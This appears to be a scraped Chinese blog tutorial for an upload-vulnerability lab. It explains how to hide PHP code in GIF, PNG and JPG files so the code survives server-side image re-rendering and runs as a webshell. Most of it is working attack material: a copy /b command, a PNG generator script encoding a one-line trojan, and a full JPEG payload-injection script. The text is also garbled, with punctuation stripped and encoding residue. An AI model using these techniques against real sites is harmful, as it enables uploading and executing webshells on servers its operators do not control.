网站开发价格报表模板,南通市建设工程网站,简单的网站首页模板,网站友链外链代码分析
$im imagecreatefromjpeg($target_path);在本关的代码中这个imagecreatefromjpeg();函数起到了将上传的图片打乱并重新组合。这就意味着在制作图片马的时候要将木马插入到图片没有被改变的部分。
gif
gif图的特点是无损#xff0c;我们可以对比上传前后图片的内容…代码分析
$im imagecreatefromjpeg($target_path);在本关的代码中这个imagecreatefromjpeg();函数起到了将上传的图片打乱并重新组合。这就意味着在制作图片马的时候要将木马插入到图片没有被改变的部分。
gif
gif图的特点是无损我们可以对比上传前后图片的内容字节在渲染后不会被修改的部分插入木马。推荐使用010editor来比较两个图片的不用之处来插入一句话木马
创建php文件和jif图片
?php phpinfo() ?;将php代码和gif图片整合在一起
copy 3.gif /b web.php /a xh.gif //切换到相应的目录在windows命令行里面切换到相应的目录然后输入命令。使用010 Editor16进制编辑器查看2.gif内容可以看出php代码已经插入图片马中了 上传制作好的图片并下载查看 发现插入的木马不在了 GIF绕过二次渲染的方法就是通过对比上传前和上传后的两个文件如果说哪个位置它的上传前和上传后的没有变我们就把php一句话代码插入到这个位置。比较两个图片在不变的位置插入一句话木马 再次上传图片
复制上传后图片的链接并输入到浏览器的url中会发现执行了一句话木马 png
png图片的特点是PNG的文件格式有个特性就是在IDAT图像数块开始的地方写入字符串等等不会损坏图片的显示(一般改完都是一片黑)。
利用脚本生成一个png格式的图片马
?php
$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,./xh.png);
? 运行之后在左侧生成一个图片
查看图片 生成了一段一句话木马上传图片并查看图片的源码 对比两个图片发现在上传之后并没有将一句话木马打乱。
gpj图片
gpj图片非常的易损制作困难对选取的图片也有一定的要求一定要多试。
利用脚本生成一个图片马
?php$miniPayload ?phpinfo();?;if(!extension_loaded(gd) || !function_exists(imagecreatefromjpeg)) {die(php-gd is not installed);}if(!isset($argv[1])) {die(php jpg_payload.php jpg_name.jpg);}set_error_handler(custom_error_handler);for($pad 0; $pad 1024; $pad) {$nullbytePayloadSize $pad;$dis new DataInputStream($argv[1]);$outStream file_get_contents($argv[1]);$extraBytes 0;$correctImage TRUE;if($dis-readShort() ! 0xFFD8) {die(Incorrect SOI marker);}while((!$dis-eof()) ($dis-readByte() 0xFF)) {$marker $dis-readByte();$size $dis-readShort() - 2;$dis-skip($size);if($marker 0xDA) {$startPos $dis-seek();$outStreamTmp substr($outStream, 0, $startPos) . $miniPayload . str_repeat(\0,$nullbytePayloadSize) . substr($outStream, $startPos);checkImage(_.$argv[1], $outStreamTmp, TRUE);if($extraBytes ! 0) {while((!$dis-eof())) {if($dis-readByte() 0xFF) {if($dis-readByte ! 0x00) {break;}}}$stopPos $dis-seek() - 2;$imageStreamSize $stopPos - $startPos;$outStream substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat(\0,$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream $outStreamTmp;} else {break;}if(checkImage(payload_.$argv[1], $outStream)) {die(Success!);} else {break;}}}}unlink(payload_.$argv[1]);die(Something\s wrong);function checkImage($filename, $data, $unlink FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage FALSE;if(preg_match(/(\d) extraneous bytes before marker/, $errstr, $m)) {if(isset($m[1])) {$extraBytes (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order false, $fromString false) {$this-binData ;$this-order $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die(File not exists [.$filename.]);$this-binData file_get_contents($filename);} else {$this-binData $filename;}$this-size strlen($this-binData);}public function seek() {return ($this-size - strlen($this-binData));}public function skip($skip) {$this-binData substr($this-binData, $skip);}public function readByte() {if($this-eof()) {die(End Of File);}$byte substr($this-binData, 0, 1);$this-binData substr($this-binData, 1);return ord($byte);}public function readShort() {if(strlen($this-binData) 2) {die(End Of File);}$short substr($this-binData, 0, 2);$this-binData substr($this-binData, 2);if($this-order) {$short (ord($short[1]) 8) ord($short[0]);} else {$short (ord($short[0]) 8) ord($short[1]);}return $short;}public function eof() {return !$this-binData||(strlen($this-binData) 0);}}
?
上述代码实现了一个包含隐藏恶意payload的JPG图像注入技术。具体来说这个脚本会尝试在指定的JPEG图像文件中插入恶意PHP代码并通过添加空字节的方式进行隐藏。一旦成功将恶意payload注入到图像中并成功验证就会输出’Success!。
推荐使用证件照来上传本人在测试的时候用证件照在插入php代码的时候图片没有损坏可以上传
首先找一张jpg的图片上传到服务器上将传上去的图片保存到本地在本地cmd执行 php demo.php(上述写的代码) 21790.gpj(在服务器下载的图片) 执行命令后会在本地生成一个新的gpj图片生成的图片命令格式通常为playload_*.jpg再次上传新生成的图片当图片上传成功后复制其链接输入到浏览器的url中 制作不易还望客官多多担待。